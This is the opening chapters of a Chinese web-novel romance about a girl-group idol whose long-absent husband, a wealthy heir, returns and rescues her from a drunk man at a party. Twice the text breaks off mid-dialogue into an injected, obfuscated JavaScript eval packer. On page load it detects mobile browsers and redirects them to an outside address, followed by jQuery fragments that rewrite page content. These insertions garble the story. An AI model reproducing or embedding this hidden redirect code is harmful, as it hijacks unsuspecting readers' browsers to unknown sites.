《和老公太熟谈不了恋爱》
1. 001
雨丝笼罩的江边,地标大厦夸张的巨幕上,最红女团sweety的周年应援视频正在滚动播放。
干练的队长万蕾,甜美的副唱兼center黛丽,活力的主舞温珍旎,清纯的领唱唐雨。
由四名女子组成的女团,今晚八点在容纳万人的体育馆举行演唱会。
场馆内,荧光棒编制起的炫丽星海里,粉丝们激动到热泪盈眶,又难免黯然。
“真的要单飞吗?好舍不得。”
“下一次合体不知道是什么时候了。”
这是sweety今年的第一场演唱会,也是最后一场。
出道五周年之际,组合的合约到期,团队宣布成员正式单飞,并且透露了未来一年的规划。
今年女团将会减少团体通告,增加个人活动。
也就是说,除了组合带来的红利,接下来是隐形还是扶摇直上,对每个成员都是巨大的考验。
快到晚上十一点,演出落下帷幕。
乌泱泱的坐席上,粉丝们意犹未尽,还不肯离去。
队长万蕾留恋地看了眼监视器上的现场画面,摘下耳麦,“走吧。”
公司临时下达通知,几大投资方今晚在锦煌夜宴参加饭局,公司安排她们演出结束后前往赴宴。
“车子到了,大家换好衣服就出发。”
经济人拍拍手,在忙乱中拽过还在补妆的黛丽,“大小姐,这可不是红毯秀,赶紧上车。”
前面场馆在陆续撤场,外面交通已经壅塞得厉害,尤其是场馆附近,已经被热情高涨的粉丝彻底包围。
从后台出来,一行保镖护送着成员避开人潮,到达上车地点。
提前得到消息的团粉和唯粉们冒着雨蹲守在这里,随着在保镖簇拥下的成员陆续露脸,尖叫声此起彼伏。
缠绵不绝的小雨阻止不了粉丝的热情,刚从嗨爆的现场出来的粉丝还处于格外兴奋的状态,呼喊声几乎掀翻屋顶。
sweety成员微笑着打了招呼,安抚好粉丝后,在长枪短炮下各自上了保姆车。
当最后一名成员从甬道出来,穿宝蓝色应援服的粉丝团体拼命晃起手幅。
“小狗,这边!看这边!”
随着声浪,一把大黑伞缓缓撑高,临时喷染的一头橘色卷发张扬地闯进众人视线。
像温暖炽热的火,把黏湿的春夜烧出一个明亮的洞。
贴了珠片的鹅蛋脸上笑容明媚,即便浓妆涂抹,也看得出是一张朝气蓬勃的面孔。
站在前面的粉丝趁机塞过去一摞信,“小狗,这是珍珠们给你的信,收一下吧。”
温珍旎接过来,歪头打量精心装饰过的信封,甜甜地说了声谢谢。
她是小麦色皮肤,橘色这种最容易翻车的发色竟衬得脸颊泛起莹莹珠光。
粉丝们捧心尖叫,“小狗加油,珍珠永远支持你。”
“谢谢大家,天气冷,大家都早点回去。”
温珍旎叮嘱她们回家路上结伴而行,注意安全。
上了保姆车,助理橙子捧过她满怀的花束,第一时间递上手机,“姐,你的电话。”
“谁啊?”
温珍旎整理好脖子上的蓝闪蝶珍珠项链,看了眼来电显示,把手机放在耳边。
“喂,振哥,在来的路上了……放心,就算我来不了,生日礼物也得送到啊。”
“……嗯,刚好那边有酒局,推不了,我露个脸就来。”
听到对面生日派对上的起哄声,温珍旎笑着挂断电话。
手机页面停留在桌面,背景图是她在伦敦街头偷拍到的一幕。
摄政街的雪夜,穿驼色大衣的男人撑着伞,簌簌飞雪落下,周身镀上一层浪漫的氛围。
三年期限已至。
他该回来了吧。
说不清是什么感觉,不过……还蛮想他的。
温珍旎抿了抿嘴唇,按住侧键熄掉屏。
因为是雨天,又恰逢演唱会,路上堵了一阵,到锦煌夜宴的时候快到凌晨。
这边投资人的饭局差不多也接近尾声了,两个经纪人抓紧时间把艺人带进包房,引荐给这总那总。
会来事的老总笑呵呵地招呼着大家,“几个小姑娘唱跳一晚上,怪累的,我们也别太为难人,就一人一杯酒好了。”
嘴上说着不为难,手上已经斟满了酒。
在娱乐圈混迹多年,什么场面没见过,知道这事赖不过去,也没推辞,各自端了酒杯给投资人们敬酒。
四个人里,只有黛丽酒精过敏。
温珍旎拿过她的酒杯,“黛丽就喝橙汁吧,这杯酒我代她喝。”
黛丽朝她投去一个感激的眼神。
温珍旎眨眨眼,让她安心。
虽然艺人要靠这些投资方才有饭吃,但这些年好歹也混成了娱乐圈的top,对方不好做得太难看。
事实也的确如她所想,喝完酒,几个投资人没再为难她们,全程都由两个经纪人帮忙应付。
两杯酒灌下肚,温珍旎寻了借口去洗手间,才顺利脱身出来。
她给家人朋友回了消息,然后给橙子发了一条微信。
五分钟后,橙子气喘吁吁地跑来。
“姐,东西都带来了。”
橙子把口罩和墨镜,还有一只礼物袋子拿给她。
温珍旎接到手里,交代她,“我现在要去一个地方,浩然姐那里就说我不舒服先回去了,你帮我应付一下。”
“不要吧。”
橙子苦巴巴地皱着脸,“浩然姐要是知道,我就死定了。”
温珍旎拍拍她的肩,“不会的。万蕾和黛丽确定续约了,现在商务资源都移交到了浩然姐手里,她整颗心都在她们俩身上,没空管我的。”
“好了,我赶时间,得走了。”
戴好墨镜口罩,温珍旎挥挥手,踩着高跟鞋从电梯匆忙离开。
**
挑高的酒店电梯里,升降数字跳动。
“叮——”
随着抵达的清脆叮咚声,数字跳停在五十九楼。
轿厢缓缓开启后,穿羊绒大衣的年轻男士走出轿厢。
“慈总。”候在一旁的侍者见状上前,将人引入这层的贵宾级包房。
门轴转动,厚重的橡木门向两侧拉开。
随着高大的身影进来的刹那,原本喧闹的派对突然安静了下来。
百平的挑高空间里,在场所有的宾客,视线都被进来的男人吸引。
谈笑的名媛千金们纷纷住了声,新贵二代们也陆续起身,下意识整理着仪表。
孔雀蓝丝绒沙发上,被美女环绕的寿星冯振刚把香槟杯抵在唇边,扭头看见来人,一下瞪大了眼睛,“恒哥!”
他把酒杯往桌面一搁,快步穿过人群,一把勾住对方的脖子,“哥,还以为你要放我鸽子了。”
“路上堵车。”
慈恒接过侍者送上的香槟,指节顶了顶鼻梁上的银边眼镜。
“堵车……”冯振目光落在他衣领,捡起一片彩带,笑得颇是寻味,“这是从演唱会现场来的。”
慈恒没否认,和他碰了一下杯,习惯性地垂眼,带起眼尾一点弧度。
“闲着也是无聊,打发时间。”
“我懂,听演唱会嘛,谁还没个娱乐消遣。”
冯振笑着贫了一句嘴,勾肩搭背地把人引向二楼。
底下的年轻男女们见二人关系匪浅,忍不住交头接耳。
“谁啊,冯少的发小?”
这家锦煌夜宴是冯振名下的产业,他是地产冯家的独子,国内地产行业大半江山都是他冯家的。
能让冯振称兄道弟,自然让人倍感兴趣。
“跟冯少交好的就那几个,其他的我认识,依我看,八成是慈家那位。”
“是他呀,可我怎么记得他刚结婚就去海外分司任职了。”
“他结婚了?”
“都三年前的事了,你消息也太滞后了。”
说话的女人压低了声音,神神秘秘补充一句,“不过夫妻俩的关系似乎很一般。”
“啧,大惊小怪,豪门婚姻不都是貌合神离的塑料夫妻。”
圈内的人,差不多都知道,慈家那位天之骄子是商业婚姻,娶的是奇缘珠宝金家的掌上明珠。
那会儿慈恒毕业没多长时间,好像是为了对抗父母的联姻安排,主动提出去海外分司历练,这一走就是三年。
在外人眼里,他是为反抗商业联姻才出走的,但真实内情到底是怎样的,就不得而知了。
几个男女窃窃私语了半晌,激动地交换着各自听来的豪门秘辛。
直到一个穿红色长裙的女人远远走过来,八卦的人群连忙交换眼色,默默闭了嘴。
也不知道听没听见,女人化了淡妆的脸上没有任何表情,只是瞥了一眼,便挽着裙子上了楼。
楼上,暖色灯光流淌在螺旋楼梯上,雪茄清新的雪松味,混着香槟特有的烘烤香气飘散出来。
姜琳踩着高跟鞋,踏上最后一级台阶,在深灰色大理石地板停顿。
慈恒被一群公子哥拉着闲聊,冯振在旁边作陪,成熟高挑的女人一出现,立即吸引了众人的目光。
“嘿,我们女神也到了!”
冯振将人带过来,跟众人介绍道:“姜琳,我和恒哥的高中同学,天海一中名噪当时的校园女神。”
这层都是和冯振要好的哥们,很给面子,纷纷说略有所闻,热情地跟姜琳打招呼。
姜琳大方得体地应付着,视线落向沙发上始终无动于衷的男人。
有人递了威士忌给他,格兰凯恩杯在他手里摇晃,滚动的冰球搅弄起琥珀色的漩涡。
他还戴着惯用的那副银丝眼镜,衬衫领口解了两颗扣子,懒散随意得很,气质却像刚从杂志封面走下来的。
姜琳径直走过去,在他身边坐下,“回京了怎么都不跟我说一声。”
一改方才的疏离客气,女人语气带着难得的温柔,“要不是冯振说起,我还不知道你回了天海。”
“嗯,临时决定的。”慈恒表情很淡,一副有问有答的样子,再没有多的话。
冯振插嘴,“姜琳是上个月回的天海。”
姜琳莞尔,“其实我和阿恒都在曼哈顿,所以他知道。”
“什么?”
冯振不敢置信,视线在两人之间来回流转,“恒哥,你嘴真的严,三年来愣是没提过一句。”
三人是高中同学,在校期间走得近,毕业后一直保持联系,只是后来各自忙事业,慢慢减少了来往。
姜琳微愣了一下,显然没想到这个她暗恋多年的男人,对她的追逐毫不在意。
她神色有些不自在,“以后大家都在天海,见面的机会就多了。”
冯振没瞧出她的尴尬,笑着接话,“也是。”
慈恒像是没听到,百无聊赖地饮着酒,淡漠的目光遥遥落向窗外。
雨雾弥漫的夜晚,对面的巨幕格外醒目。
屏幕上是sweety女团的周年应援视频。
镜头切到了主舞,脖颈上的蓝闪蝶珍珠熠熠生辉,一头茂盛的卷发在镁光灯下肆意飞舞。
脸颊涂抹了金粉,随着健气的舞步动作,簌簌坠落,却平添了梦幻的氛围感。
男人盯着看了许久,专注的神情让姜琳也忍不住侧目。
搔首弄姿的爱豆罢了。
“你这样的忙人,也会关注娱乐圈。”她语气冒酸,只有她自己知道。
慈恒眉心微蹙,“业余爱好。”
冯振闻言噗嗤一笑,一脸高深,“我证明,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861599|176056||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是真的爱好。”
姜琳听着古怪,却没有多想。
巨幕上的镜头很快切换到了另一张面孔,慈恒也不再看,抓起丢在一旁的大衣起了身,“你们聊,我先走一步。”
“不喝酒了?”
“你自己喝吧。”
冯振问他去哪,慈恒没应。
他穿上大衣,一路走出包房。
秘书林诺侯在外面,见人出来,快走几步上前。
“慈总,太太到了这边,酒店附近的狗仔不少,我都清理过了。”
“还有,老太太打过电话,让您尽快回电。”
他递上手机,刚说完这话,慈老太太的电话像掐准了时间,火急火燎地又打进来。
慈恒没着急接,用力掐了掐眉心,方才接过手机。
“奶奶。”
“你接到旎旎了没?”对面老太太一阵激动,“我让你接人,你接那去了!”
“……”
他不吭声,老太太就急了,“三年是你答应我的,我盼星星盼月亮,总算盼到你们小两口团聚了,你别跟我说,一年见几次,连你老婆长什么样都不记得了。”
“哪能啊。”
慈恒捏着鼻梁,语气十足的无奈,“我这就去接小祖宗。”
“这还差不多。”
老太太总算听到一句中听的,“回来就给我好好过日子,把亏欠我孙媳妇的都补回来,听见没有!”
这老太太,怎么搞得他像负心汉。
“嗯,知道了。”
慈恒还能怎样,只能硬着头皮答应。
**
从酒局上出来后,温珍旎去了趟洗手间,顺便补妆。
对着镜子整理头发时,闺蜜奚淼的电话打进来。
她收起化妆包,接起电话,“怎么,想我了?”
“想个屁。”
奚淼上来就是劈头盖脸一通输出,“你那个出走三年的死鬼老公回京了,你不会不知道吧!”
“我真的服气了,你要不看看微信,狗男人有没有给你发消息。”
温珍旎被骂懵了,点开和慈恒的聊天对话框,最新消息还是三天前的。
居然没跟她说。
这夫妻做的……
温珍旎清了清嗓子,显得有些心虚,“可能是临时行程。”
电话那头,奚淼翻了个白眼,“你这段丧偶式婚姻也算典型了,离婚吗?我帮你找顶级律师,尽最大的努力帮你打赢这段官司,让他净身出户。”
真打起官司来,谁打得过泰华的律师团队。
“……用不着。”温珍旎支吾着,不理解她怎么突然就扯到离婚上去了,“婚变可是会影响金慈两家股市的。”
奚淼啧啧,“狗男人到底给你灌了多少迷魂汤。”
“哪有。”温珍旎反驳,“我这么优秀,当然值得更优秀的男人了,强强联手不好吗。”
“不离婚,那你是打算先婚后爱?”
温珍旎想了想,真的思考起可能性,得出的结论是,“和老公太熟,谈不了恋爱。”
没有爱情的夫妻,各取所需也行啊。
比如说,八块腹肌由她摸到爽。
毕竟慈恒身材是真的好。
“行吧,你开心就好。”
都说到这份上了,奚淼还能说什么。
温珍旎吐了口气,“先不跟你说了啊,我还要去一趟冯振的派对,下次见面了再聊。”
电话那头还在说话,她已经果断地掐掉了电话。
重新戴好墨镜,拎上袋子准备出去,突然一个女人慌不择路地跑进来,撞到她胸口上。
没顾上疼,她先把人扶稳。
却见这个女人像是在惧怕什么,惊恐地看着外面,身体抖得吓人。
“对不起!你能不能帮我离开这里?求你了!”
女人抱紧她的手臂,颤声哀求道。
昏暗的壁灯下,她脸色泛着不正常的酡红,瞧着像是喝醉了酒。
“你别急,有话慢慢说。”
温珍旎握住女人的手,还没来得及关心她的情况,一个大腹便便的中年男人便跟进来。
来势汹汹的,二话不说拖过女人就往外走。
“放开我,别碰我!”
女人挣扎着,温珍旎气力小,根本拽不住,被男人肥硕的体格一下子挤开了。
那个女人就被半抱半拽的,拖出了洗手间。
肩带在拉扯之间被拽了下来,眼看要走光,温珍旎如梦初醒般,赶紧追出去。
“喂,你这人怎么回事,没听到她让你放开?”
男人充耳不闻,硬拽着女人,温珍旎也不知道哪来那么大的力气,冲上去一把摔开男人的手,把女人拉到自己身后,“你再乱来我就报警。”
“你谁啊,我劝你最好别多管闲事。”
被坏了事的男人恼羞成怒,扬起巴掌朝她扇过来。
“你干嘛,你还想打人啊。”
温珍旎心里发虚,但是面上不敢露怯。
看着巴掌过来,她下意识朝后躲,高跟鞋没站稳,绊了个趔趄,脚上的一只高跟鞋掉了出去。
脚崴了一下,手里的袋子跟着掉了,吓得她只顾得上捂住脑袋。
疼痛没有如期来临,倒是响起那个男人猪一样的惨叫。
温珍旎狐疑地睁眼,便看到秃顶男已经四脚朝天地躺在地上。
他嘴里嚎叫谩骂,还想挣扎起来,被高出两个头的壮汉反翦了手压在墙上。
“林秘书!”
是慈恒的生活秘书林诺。
林诺朝她点头,视线落向走廊方向。
温珍旎跟着望过去,就撞进镜片后翻涌的眸光。
穿着大衣的男人从灯下出来,曲指顶了下镜架,一脚踹向男人肥硕的肚腩。
2. 002
这一脚力道不轻,也突然,温珍旎没反应过来,茫然地怔在了原地。
林诺拨号报了警,捂着肚子骂骂咧咧的男人显然慌了,虚张声势地高声嚷道:“你们敢!知道我是谁吗就敢抓我,信不信我让你们在天海混不下去,唔唔——”
懒得听他瞎叫唤,林诺塞住嘴,叫来两个保安,将人拎走。
醉酒的女人躲在温珍旎身后,哭得满脸是泪,便叫了女服务员把人带到休息室,等着过会儿做笔录。
“怎么不说话了,刚才不是挺勇的。”
慈恒扣上衣扣,好整以暇地看着还没从惊吓中缓过神的女人。
“吓傻了?”
话还没说完,一个人影便飞扑上来,砸得他胸腔一震,剩下的半截话被迫咽了回去。
慈恒没有一点防备,踉跄了两步,皱着眉接住人,一只手按住从怀里拱出来的脑袋。
“surprise,惊不惊喜,意不意外!”
温珍旎仰起脸,墨镜后的眼睛盛满笑意。
非但没有意识到错误,反而一副求表扬的架势。
“嗯,确实惊喜。”
回来的第一面,就给他这么大的见面礼。
慈恒委实没好气,接过林秘书捡回来的高跟鞋,握住温珍旎的脚踝,帮她把鞋穿上。
“温珍旎,除了招惹我,原来你谁都敢惹。”
指尖的温度灼过冰冷的脚踝,眼前的一幕突然有了实感,这个常居异国的男人是真的回来了。
“才没有。”温珍旎小声狡辩了一句,却还是服了软,抱住慈恒的脖颈,叫出两个人都有些陌生的称呼。
“老公。”
慈恒心是软了,嘴还是硬的,按住她晃来晃去的身体,“叫老公没用。”
她身上的香水味是清甜的,他喉结滚了滚,“我要是不来,你准备怎么收场?”
温珍旎也是后知后觉自己行事莽撞了,可事出突然,她没办法做到袖手旁观。
“我知道通知安保啊,我又不傻,而且这里是冯振的产业,他不敢把我怎样。”
怕他没完没了地翻账,温珍旎赶紧转移话题,“你回国了怎么都不提前说一声。”
“以后你不想见我也难。”
三年任期一满就回国,是他答应奶奶的。
慈恒被她勒得喘不过气,解了领口的纽扣。
温珍旎晃他的手,慈恒把她的手拿下来,小声提醒,“你是女明星,注意点影响。”
“就抱了一下而已,又没怎样。”
温珍旎不管,反而抱得更紧,“老公老公,你看我是不是长高了些?”
慈恒毒舌地回她,“个子是长了,脑子还得补。”
温珍旎不甘心,“那更漂亮了?”
慈恒轻笑,垂眼打量她,像打量刚长出来的豆芽菜,“三年修炼成这样,你们公司给你换人设了,今年改走白骨精路线了。如果不是,我建议你报工伤。”
温珍旎:“……”
我说你别太毒了。
虽然在他嘴里没一句好话,但温珍旎是温室里用爱浇灌的花朵,给她一片阴霾,也能笑得比向日葵甜,“可是你比上次更帅了耶。”
慈恒软硬不吃,“视频的时候你没见过?”
“那不一样啊。”
“别歪歪倒倒的,站好。”
慈恒握住肩,把赖在身上的人扶正,顺手理好她脸上快蹭掉的口罩,“怎么就你自己出来,保镖助理哪去了?”
来这里的人非富即贵,隐私性相对较高,但她这张辨识度奇高的脸,还是容易暴露。
温珍旎看出他的担心,抿着唇笑,“我偷偷来的,没人看见。”
她挽着慈恒,走到电梯位置时,身后响起一阵仓促的脚步声,随之而来的是女人的声音。
“阿恒。”
温珍旎很好奇,想要看清对方的长相,被慈恒拽住胳膊拖进了电梯。
温珍旎:“我听到有人叫你。”
“无关人士,不用理会。”
数字键按下,电梯合上。
“饿了没有?”他问。
温珍旎按住胃,小弧度点头,“有一点。”
演唱会开了三小时,消耗极大,本来是要补充能量的,结果遇上资方饭局,饭没吃成,倒是喝了一肚子酒水。
不说还好,一说饿感就涌了上来。
慈恒拿出手机,往家里打了电话,交代准备晚餐。
“可是我的礼物还没给冯振。”
温珍旎给他看手里的袋子,“要不你在车上等我,我再上去一趟。”
“麻烦。”
慈恒皱眉,抢过礼物袋子,出了电梯后,直接丢给接待人员,“拿给你们冯总。”
可能是温珍旎大半张脸被遮住,时尚亮眼的外形依然惹人注目,接待人员小心翼翼看了好几眼。
慈恒有所察觉,不动声色地把人掩在怀里。
从锦煌夜宴出来,一上车,温珍旎迫不及待地摘了墨镜和口罩,两只手伸到慈恒面前,“我的礼物呢?”
坐进副驾的林诺,第一时间把一只玫瑰金盒递向后座。
慈恒打开给她,是一条海珍珠项链。
迎着光看,珍珠的光泽温润,白中还带了一点玫瑰红。
品相是肉眼可见的好。
“好漂亮,我很喜欢,谢谢老公。”
温珍旎把礼物收好,“今晚回紫金湾吗?”
“嗯。”
慈恒想了想,又说:“香山路的房子叫人收拾出来,你拍戏不方便的时候就住在那边,省得来回奔波。”
两人结婚只有亲朋知道,没有向外界公开,属于隐婚状态,而且婚后不久又异地分居,所以紫金湾别墅只有温珍旎偶尔去住上几回。
那边是天海市有名的富人区,偌大的别墅区仅有二十栋庄园式独立别墅,占地广袤,拥有最大的森林公园和生态湖泊。
浓厚的夜色下,劳斯莱斯在林荫掩遮的路上飞驰而过。
半小时后,车子开进去,入眼是一片林木环绕的绿茵草坪,草坪上伫立着一座法国枫丹白露式别墅。
很大气的宫廷风格建筑,庭院正前方是古典风格的喷泉,不远的地方栽种了一颗粗壮的楸树。
眼下是春天,还没开花,枝叶繁茂,绿意盎然,是一道不错的风景。
温珍旎喜欢那颗楸树,拉着慈恒,要他给自己拍照。
“老公,拍张照吧。”
夜里春寒重,她裹了件米色羊绒大衣。
高挑的身材,四肢匀称,比例很好,裙子下的双腿肌肉紧实有型,显得力量感特足。
因为健康活力,精神足,看上去气血很好的样子,粉丝形容她是快乐小狗,只要看到她,就会不自觉地被她的快乐和活力感染。
性格好是真的,但也挺能折腾。
慈恒表情不耐,还是打开摄像头,耐着性子给她拍照片。
最后温珍旎又叫来林诺,帮他们夫妻拍合影。
两人的拍照技术不相上下,都一样普通,温珍旎挑挑选选,才勉强挑出来两张。
“满意了没有?”
看她光着一双腿,就为了拍那几张照片,慈恒直皱眉,“满意就进屋吃饭。”
温珍旎应了一声,低头修着图,跟在身后。
女佣接过两人的包和外套,拉开两边的餐椅。
温珍旎看到是粥和南瓜饼,嘴巴翘得老高,“是粥啊。”
刘婶脸上堆笑,“太太想吃什么,我明天再做。”
外出活动的这几个月,温珍旎被严格控制饮食,早就馋疯了,“我要黄焖鱼翅,还有香酥鸡。”
“好。”刘婶笑眯眯地应下。
温珍旎没有忌口的东西,偏爱重口味,工作压力大的时候要吃,放松的时候要吃,反正为了口食物总有不重样的理由。
慈恒跟林诺说:“明天让厨师过来,只要她不介意,变着花样给她做,省得像没给她饭吃。”
说完看眼金座钟,“今晚就别想了,吃完去睡觉。”
“噢。”
他一回家就管东管西的,比她爹都能管。
温珍旎嗷呜一口,泄愤般地啃着南瓜饼。
顺手点开微博下饭。
演唱会上了几个高位热搜,都是人工搜上去的。
她无聊地刷了一会儿,吃完粥后,坐了片刻,就上楼洗澡。
好久没回这里,洗完澡,习惯性地巡视她的珍宝房,看一遍她收藏的宝贝,然后去化妆室护肤做保养。
慈恒送的海珍珠摆在梳妆台上,她戴上试了试,这男人的珠宝审美还是很不错的。
找好角度拍了照片,选了几张工作室发来的演唱会照片,凑足九宫格发了一条微博。
书房的静谧被突兀的微博提示音打破时,慈恒正坐在电脑屏幕前,处理海外分司的收尾工作。
从繁冗的工作中抽出精力,目光落在亮起的屏幕上,一条新鲜的微博通知正躺在通知栏里。
点开消息,随着页面的展开,他嘴角牵起一抹极淡的弧度。
发博人的头像,是一只咧着嘴尽情撒欢的卡通小狗,这头像从她换上的那天起,就再没变过。
粉丝们总爱叫她“快乐小狗”,因为喜爱,便催生了这只可爱的卡通形象。她一见就喜欢,特意问了画手授权,珍而重之地作为自己的头像。
微博文案是再平常不过的碎碎念,底下配着九宫格,记录了演出和日常碎片,还有一张带着项链对着镜头笑得眉眼弯弯的自拍。
慈恒把每张图都点开,浏览到最后一张时,书房门被轻轻叩响。
“老公,我可以进来吗?”
带着点小心而温柔的试探。
他抬头,看到推开的门缝里,温珍旎用力眨巴着的眼睛。
他把手机扣在桌上,“进来。”
得到许可,温珍旎推开门小跑进来,不等他反应,便大大方方地坐在他腿上,摘去那副严肃又碍事的眼镜,捧住脸,连着印了好几个响亮的吻,“谢谢老公的礼物。”
俊朗的脸被涂了几处湿漉漉的口水印,他眉头几不可察地蹙了一下,矜持镇定在妻子的热情攻势下荡然无存。
慈恒表情显得尤为无奈,“你的谢礼显得潦草。”
“是吗,那这样呢……”
温珍旎也不是扭捏的人,圈着他脖颈的手臂收紧,身体前倾,主动将自己的唇印上那片温软的唇瓣。
慈恒眸色骤然转深,没有半分迟疑,单手扶住她的后背,握住下颌,配合着她的动作。
舌尖撬动齿关,久违的情动。
他的吻不再是浅尝辄止的回应,而是带着近乎掠夺的强势,和灼人的热度。
分开太长时间了,身体竟然意外的很合拍,稍一撩拨就溃不成军。
轻易被撩起的情潮,冲刷着理智,温珍旎在他娴熟的攻城掠地下,化成了一滩温柔的春水。
她气息紊乱地软在他怀里,脸颊潮红,像被骤雨打湿的花朵,只能依附着他汲取氧气。
慈恒退开半寸,指腹碾过被他吻得水光潋滟的唇峰。
温珍旎偏开头,迷蒙的视线瞥见桌上亮着的电脑屏幕,满是诧异,“这么晚还要工作?”
“嗯,倒时差。”
慈恒撩起她垂落颈侧的一缕发丝,确定已经吹干,语气恢复了惯常的冷静自持,“
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861600|176056||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
还有视频会议,你先去睡。”
什么意思嘛,把人撩拨得浑身难受,就不管不顾了。
“我不要。”温珍旎环着他肩膀的手臂收得更紧,带着点赌气的意味,不满地摇晃着,“每次你回京,我都在外地演出,一年到头都碰不了两面。”
被轻易点燃的火在身体里横冲直撞,不发泄出来,是会憋死她的。
“老公……”她捏着嗓子,刻意拉长了调子。
声音像带了钩子,又酥又麻,直往人心窝里钻。
慈恒的眸色沉得如同化不开的墨,箍在她腰侧的手,不轻不重地在她敏感的软肉上揉捏,“想要?”
温珍旎眼神满怀期待地点头,“可以吗?”
“现在不是招惹我的时候。”
他示意电脑,通知那栏一直在闪。
“好吧。”温珍旎眼底的光芒瞬间黯了几分,像被戳破的气球,泄气地鼓了鼓唇。
虽然有一丢丢小失望,但她的心态向来很好,调整了一下姿势,像只寻求安慰的小兽,把微烫的脸轻轻靠在他头顶,“我还不困,就安安静静地坐在这里陪你一会儿,总可以吧?保证不会打扰你开会。”
“你确定?”慈恒眼眸微微眯起。
温珍旎用力点头,努力让自己的表情看起来有说服力,“明天开始休假,可以睡懒觉。”
她说话倒是乖巧,手里却片刻不闲着,悄无声息地探进他微敞的领口,在他的胸膛上或轻或重地画着圈。
慈恒捉住手腕,无情地将那只不安分的小手从衣襟里拽出来,恰好有电话进来,他拍她的腿,示意她下去。
温珍旎有分寸,不打扰他接下来的工作,立刻收敛了玩闹的心思,从他腿上滑下来。
房间里摆了一张宽大的皮质沙发,她抱了自己的平板电脑躺过去。
橙子分享了几个链接,都是粉丝发在超话的高清直拍。
镜头追随着那道活力十足的身影,她的每一个动作都充满力量感,在强光下生动甜美的脸庞愈发夺目,仿佛天生的舞台掌控者。
出道五年,包括一心一意拼事业的这三年,也不是一无所获,至少她是凭自己的实力走到现在的地位。
温珍旎看得入神,唇角不自觉地弯起一个满足的弧度,指尖在屏幕上滑动,准备点开下一个直拍视频时,一声低沉而清晰的“嗯?”从书桌方向传来。
她撑起脸颊,下意识地循声抬眼望去。
开会的男人已经重新戴上了银丝眼镜,松弛地坐在书桌后,他换了一件宽松的居家外套,领口解开两颗纽扣,露出喉结和锁骨。
盯着看了几秒,见他没发现,目光便放肆地定在他脸上。
慈恒长相随他母亲庄明华女士,典型的浓颜,小时候长辈们就夸他会长,专挑父母的优点,五官随母亲,气质随父亲,尤其那双眼睛,深邃又漂亮,谁看了不说漂亮。
但就是太淡漠了,尤其盯着人看的时候,有一种无形的压迫,便显得过于疏离,没有亲切感。
不过嘛,好看的人从来不缺追求者。
初中那会儿开始,慈恒就声明在外了,每天不知道收到多少女生的情书和礼物。
那些富家千金更是出手阔绰,贵重的东西像不要钱似的。
只有闺蜜奚淼是个例外。
奚淼说这人不说话的时候是高岭之花,说话的时候像抹了砒霜,也就温珍旎才受得了他的少爷毛病。
温珍旎没反驳。
因为在她看来,慈恒是个有分寸的人,即使毒舌了一点,也无伤大雅。再说毒舌也很可爱的好吧。
认真搞事业的时候就更不用说了,整个人都在散发魅力。
耳塞里循环播放着直拍视频,温珍旎的思绪却慢慢飘远了,眼前只有慈恒那张赏心悦目的脸。
等再睁时,已经是第二天了。
温珍旎被来电铃声吵醒,发觉自己在熟悉的那张大床时,脑子有些发懵。
她摸索着抓过手机,按下接听键。
隔着屏幕,橙子的声音几乎刺破耳膜,“姐,你再不接电话,我就去上吊了。”
温珍旎捂了捂耳朵。
没明白,换了个方向继续躺,“怎么了嘛?”
电话那头深吸了一口气,“出大事了,浩然姐让你回一趟公司。”
温珍旎揉着蓬乱的头发,看了一眼时间,“!”
居然一觉睡到下午一点了。
温珍旎这回是彻底清醒了,挂断电话,赶紧起床洗漱。
梳妆完,匆匆忙忙地下楼,被正好从书房出来的慈恒一把揪住。
“跑这么快做什么?”
温珍旎没收住脚,撞到他的胸口上。
“老公早啊。”
温珍旎抱住他的手臂,看他满脸疲惫,一副没睡觉的情形,“你不会没睡吧?”
因为倒时差,慈恒早上将就在沙发上躺了片刻,这会儿打算下楼去走走。
头有点疼,他捏了捏眉心,“下楼吃饭。”
两人来到餐区,刘婶在厨房里炖汤。
温珍旎闻着香味凑过去,“好香啊,做什么好吃的?”
刘婶笑眯眯道:“快坐下,我给太太盛汤。”
炖了一上午的鲍鱼花菇鸡汤很快端上桌。
馥郁醇厚的香气瞬间漫开,温珍旎香迷糊了,美美地喝着汤,一边跟对面还在慢条斯理擦手的男人说:“老公,吃完饭我要去公司。”
“嗯。”慈恒放下餐巾,视线在她被汤水润泽过的唇上停留了一瞬,语气平稳地叮嘱,“注意安全。”
他略一沉吟,像是想到了什么,侧首对着侍立一旁的佣人吩咐道:“去备车,太太要用。”
3. 003
吃过午饭,温珍旎动身前往经纪公司。有司机开车,她靠在后座刷新闻,大致了解了事情的原委。
身处娱乐圈,她太清楚舆论风向有多可怕了,名人但凡有个风吹草动,看热搜就能知道七七八八。
#万蕾小三
#万蕾恋情曝光
万蕾的热搜这会儿已经铺天盖地。
半天的功夫,连男方的裤衩子都扒得不剩了。
营销号的通稿一篇接一篇,公关这边还没按下,那边新的热搜词条又搜上来了。
温珍旎看得眼花缭乱,到公司和橙子汇合之后,就听她说了个大概。
大概就是昨晚酒局结束后,狗仔拍到了万蕾和一个男人出入酒店的画面,接着今天就爆料那个男人是圈内某老牌歌手,两人已经谈了一年多的恋爱。
本来只是扒出恋情,顶多挂两天热搜,结果今天中午某网红突然发文重锤男歌手,指认万蕾是插足她和男歌手感情的第三者。
现在的情况是,公关部紧急公关,工作室迅速发布申明。
